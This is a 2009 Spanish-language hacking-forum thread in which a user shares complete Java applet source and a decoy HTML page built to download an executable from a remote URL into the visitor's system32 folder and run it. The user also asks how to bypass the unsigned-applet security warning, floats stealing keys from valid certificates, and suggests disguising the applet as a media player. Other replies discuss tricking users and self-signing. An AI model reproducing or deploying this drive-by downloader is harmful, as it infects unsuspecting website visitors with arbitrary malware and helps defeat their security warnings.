elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
27 Mayo 2012, 15:47  


Tema destacado: Nueva página de elhacker.net en Google+ Google+

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking Avanzado (Moderadores: ANELKAOS, TRICKY)
| | |-+  Java Applet Exploit (duda con digital signature)
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Java Applet Exploit (duda con digital signature)  (Leído 3,742 veces)
000000001

Desconectado Desconectado

Mensajes: 11


Ver Perfil
Java Applet Exploit (duda con digital signature)
« en: 26 Noviembre 2009, 16:33 »

Hola, estuve probando un exploit de java que copia y ejecuta un exe en el equipo que abra la app. Funciona perfecto, el archivo es copiado a donde se indica (/system32) y ejecutado, pero al no tener un certificado valido, al cargar el applet tira el dialog box ese de "Advertencia de seguridad - La firma digital de la aplicacion no se puede verificar. ¿Desea ejecutar la aplicacion?"

Mi pregunta es si alguien sabe alguna forma de evitar este dialog box pero sin tener q pagar un certificado :P, creo haber leido en algun lado que es posible sacar keys de otros certificados validos y usarlos para cualquier applicacion pero no encuentro info.

Aca les dejo el code por si alguien mas lo quiere usar:
Código:
import java.applet.Applet;
import java.io.*;
import java.net.URL;
import java.net.URLConnection;

public class Client extends Applet
{
    public Client()
    {

    }

    public void start()
    {
        try
        {  
            BufferedOutputStream bufferedoutputstream = null;
            Object obj = null;
            InputStream inputstream = null;
            URL url = new URL("http://www.reemplazarURL.com/yourfile.exe");
            bufferedoutputstream = new BufferedOutputStream(new FileOutputStream("C:\\windows\\system32\\yourfile.exe"));
            URLConnection urlconnection = url.openConnection();
            inputstream = urlconnection.getInputStream();
            byte abyte0[] = new byte[1024];
            int i;
            for(long l = 0L; (i = inputstream.read(abyte0)) != -1; l += i)
                bufferedoutputstream.write(abyte0, 0, i);

            try
            {
                if(inputstream != null)
                    inputstream.close();
                if(bufferedoutputstream != null)
                    bufferedoutputstream.close();
            }
            catch(IOException ioexception) { }
            Runtime runtime = Runtime.getRuntime();
            try
            {
                Process process = runtime.exec("C:\\windows\\system32\\ yourfile.exe");
                process.waitFor();
                BufferedReader bufferedreader = new BufferedReader(new InputStreamReader(process.getInputStream()));
                String s;
                while((s = bufferedreader.readLine()) != null)
                    System.out.print(s);
            }
            catch(Exception exception1) { }
            try
            {
                if(inputstream != null)
                    inputstream.close();
                if(bufferedoutputstream != null)
                    bufferedoutputstream.close();
            }
            catch(IOException ioexception1) { }
        }
        catch(Exception e) { }
    }

    public static void main(String args[])
    {
        try
        {
            BufferedOutputStream bufferedoutputstream = null;
            Object obj = null;
            InputStream inputstream = null;
            URL url = new URL("http://www.reemplazarURL.com/yourfile.exe");
            bufferedoutputstream = new BufferedOutputStream(new FileOutputStream("C:\\windows\\system32\\yourfile.exe"));
            URLConnection urlconnection = url.openConnection();
            inputstream = urlconnection.getInputStream();
            byte abyte0[] = new byte[1024];
            int i;
            for(long l = 0L; (i = inputstream.read(abyte0)) != -1; l += i)
                bufferedoutputstream.write(abyte0, 0, i);

            try
            {
                if(inputstream != null)
                    inputstream.close();
                if(bufferedoutputstream != null)
                    bufferedoutputstream.close();
            }
            catch(IOException ioexception) { }
            Runtime runtime = Runtime.getRuntime();
            try
            {
                Process process = runtime.exec("C:\\windows\\system32\\yourfile.exe");
                process.waitFor();
                BufferedReader bufferedreader = new BufferedReader(new InputStreamReader(process.getInputStream()));
                String s;
                while((s = bufferedreader.readLine()) != null)
                    System.out.print(s);
            }
            catch(Exception exception1) { }
        }
        catch(Exception e) { }
    }

    public void stop()
    {
    }
}

Y el html:
Código:
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
  <title>Java Applet Exploit</title>
  <meta http-equiv="Content-Type" content="text/html; charset=us-ascii" />
</head>

<body>
  <center>
    <font color="#FFFFFF" size="4">Please wait a few seconds while the site
    loads...</font>
  </center>

  <table align="center" width="350" height="125" border="1" cellpadding="0" cellspacing=
  "0" bgcolor="#FFFFFF">
    <tr>
      <td width="350" height="125" valign="top"><font color="#FFFFFF"><object classid=
      "clsid:8AD9C840-044E-11D1-B3E9-00805F499D93" codebase=
      "http://java.sun.com/update/1.6.0/jinstall-6u60-windows-i586.cab#Version=6,0,0,2">
        <param name="CODE" value="yourfile.class" />
        <param name="ARCHIVE" value="yourfile.jar" />
        <param name="type" value="application/x-java-applet;version=1.6" />
        <param name="scriptable" value="false" />
         <comment><embed type="application/x-java-applet;version=1.6" code="yourfile.class"
        archive="yourfile.jar" width="350px" height="125px" scriptable="false" pluginspage=
        "http://java.sun.com/products/plugin/index.html#download" /></comment>
      </object></font></td>
    </tr>
  </table>
</body>
</html>

No olviden reemplazar los path del .exe, .class y .jar, y creo q es necesario tener el exe en la misma carpeta q el applet para q funcione (not sure).
« Última modificación: 28 Noviembre 2009, 20:59 por 000000001 » En línea
A2Corp


Desconectado Desconectado

Mensajes: 303



Ver Perfil
Re: Java Applet Exploit (duda con digital signature)
« Respuesta #1 en: 3 Diciembre 2009, 17:47 »

Estamos en las mismas, yo paso por el mismo problema que tu, hay un post viejo donde pregunte lo mismo y nadie me respondio xD a ver si ahora tienes mas suerte.
Un saludo!
En línea

Hackeo, luego existo...
000000001

Desconectado Desconectado

Mensajes: 11


Ver Perfil
Re: Java Applet Exploit (duda con digital signature)
« Respuesta #2 en: 3 Diciembre 2009, 18:47 »

Si si no fuera por ese dialog box seria un exploit genial, supongo q mucha gente aceptara igual el certificado sin validar si se usa algun nombre tipo "FLV Player" o alguna cosa asi.

Se que hay un exploit para flash player que mete el exe y lo ejecuta "silenciosamente" con solo clickear algun elemento del swf o algo asi (lo vi funcionando en un video donde el tipo clickeaba un boton y bajaba y ejecutaba el exe. Pero no encuentro info en ningun lado :(, lo unico que vi es que puede ser que el exploit sea a travez de las headers de los flv videos, pero mucho mas no encontre. Si encuentro algo mas sobre eso lo posteo aca, y si alguien sabe algo posteelo plz.
« Última modificación: 3 Diciembre 2009, 18:58 por 000000001 » En línea
Debci
Wiki

Desconectado Desconectado

Mensajes: 1.945


Actualizate o muere!


Ver Perfil WWW
Re: Java Applet Exploit (duda con digital signature)
« Respuesta #3 en: 7 Diciembre 2009, 08:41 »

Sun Microsystems se ha encargado de que gorroncetes como vosotros no haga ese tipo de cosas, no creo que consigais mucho, ya que esta caja, el vento de ser llamada lo hace la vm, tendrias que encontrar alguna manera de meterle una vm al pc visitante una antigua, o alguna injecion de code que modificase su comportamiento para poder actuar en consecuencia.

En resumen:
Muy chungo, es mejor confiar en que la gente pulsa a cagar applet como si nada, les da = la advertencia.

Saludos
En línea

EA Zero

Desconectado Desconectado

Mensajes: 1


Ver Perfil
Re: Java Applet Exploit (duda con digital signature)
« Respuesta #4 en: 18 Diciembre 2009, 15:50 »

en la siguiente pagina puedes ver como crear un firma digital tu mismo, ya que como dicen post arriba, Sun a quitado esas opciones ya que el solo hecho de abrir un applet ya era bastane riesgo en las primeras versiones de la vm

http://www.chuidiang.com/chuwiki/index.php?title=Firmar_Applets

espero el código de esa pagina les pueda ser de ayuda.  ::)
En línea
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Duda Applet con NetBeans
Java
painkillerpucela 0 1,777 Último mensaje 26 Diciembre 2010, 14:02
por painkillerpucela
Java Exploit...
Bugs y Exploits
BoF 0 1,045 Último mensaje 1 Mayo 2011, 06:42
por BoF
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines